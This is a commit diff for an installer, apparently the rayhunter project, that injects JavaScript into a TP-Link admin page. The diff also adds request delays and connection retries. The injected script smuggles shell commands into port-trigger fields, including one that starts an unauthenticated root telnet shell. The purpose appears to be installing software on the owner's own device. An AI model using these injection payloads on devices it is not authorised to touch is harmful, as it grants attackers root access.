TP-Link: Space out HTTP requests a bit, retry connection for sending files

We are hitting random race conditions in the JavaScript code, try to
alleviate them by sleeping 1 second between started requests and
waiting until the DOM is ready.

From a quick glance at the goahead binary in Ghidra, it seems like
firing off two requests at the same time can actually cause a TOCTOU bug
where one of the port triggers is dropped from config, see #652

Another issue is that on sluggish devices, it can happen that nc is not
ready within 100ms. Fixing that with exponential backoff.

Author: untitaker

installer/src/tplink.rs

@@ -281,22 +281,29 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
             .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
         let mut data = BytesMut::from(data);
         // inject some javascript into the admin UI to get us a telnet shell.
-        data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
-            // Intentionally register rayhunter-daemon before rayhunter-root so that we are less
-            // likely to run into race conditions where rayhunter-root is launched, and the
-            // installer kills the server. In practice both HTTP requests may execute concurrently
-            // anyway.
+        data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
+        window.rayhunterPoll = window.setInterval(() => {
             Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
-            Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
 
-            // Do not use alert(), instead replace page with success message. Using alert() will
-            // block the event loop in such a way that any background promises are blocked from
-            // progress too. For example: The HTTP requests to register our port triggers!
-            document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
+            console.log("first request succeeded, stopping rayhunter poll loop");
 
-            // We can stop polling now, presumably both requests are already inflight.
-            window.clearInterval(window.rayhunterPoll);
-        }, 1000);"#);
+            // sleep for another 1 second to give the port trigger time to register. The request is
+            // not done yet, but has just been scheduled into the background.
+            //
+            // registering two port triggers at once will cause data races in the TP-Link admin UI,
+            // and one port trigger will be dropped.
+
+            window.setTimeout(() => {
+                Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
+
+                // Do not use alert(), instead replace page with success message. Using alert() will
+                // block the event loop in such a way that any background promises are blocked from
+                // progress too. For example: The HTTP requests to register our port triggers!
+                document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
+            }, 1000);
+
+        }, 5000);
+        });"#);
         response = Response::from_parts(parts, Body::from(Bytes::from(data)));
         response.headers_mut().remove("Content-Length");
     }

installer/src/util.rs

@@ -91,7 +91,7 @@ pub async fn telnet_send_file(
     payload: &[u8],
     wait_for_prompt: bool,
 ) -> Result<()> {
-    echo!("Sending file {filename} ... ");
+    echo!("Sending file {filename}... ");
     let nc_output = {
         let filename = filename.to_owned();
         let handle = tokio::spawn(async move {
@@ -102,14 +102,32 @@ pub async fn telnet_send_file(
             )
             .await
         });
-        // wait for nc to become available. if the installer fails with connection refused, this
-        // likely is not high enough.
-        sleep(Duration::from_millis(100)).await;
+
         let mut addr = addr;
         addr.set_port(8081);
 
+
+        let mut stream;
+        let mut attempts = 0;
+
+        loop {
+            // wait for nc to become available, with exponential backoff.
+            //
+            // if the installer fails with connection refused, this
+            // likely is not high enough.
+            sleep(Duration::from_millis(100 * (1 << attempts))).await;
+
+            stream = TcpStream::connect(addr).await;
+            attempts += 1;
+            if stream.is_ok() || attempts > 3 {
+                break;
+            }
+
+            echo!("attempt {attempts}... ");
+        }
+
         {
-            let mut stream = TcpStream::connect(addr).await?;
+            let mut stream = stream?;
             stream.write_all(payload).await?;
 
             // if the orbic is sluggish, we need for nc to write the data to disk before
@@ -122,6 +140,7 @@ pub async fn telnet_send_file(
             sleep(Duration::from_millis(1000)).await;
 
             // ensure that stream is dropped before we wait for nc to terminate.
+            drop(stream);
         }
 
         handle.await??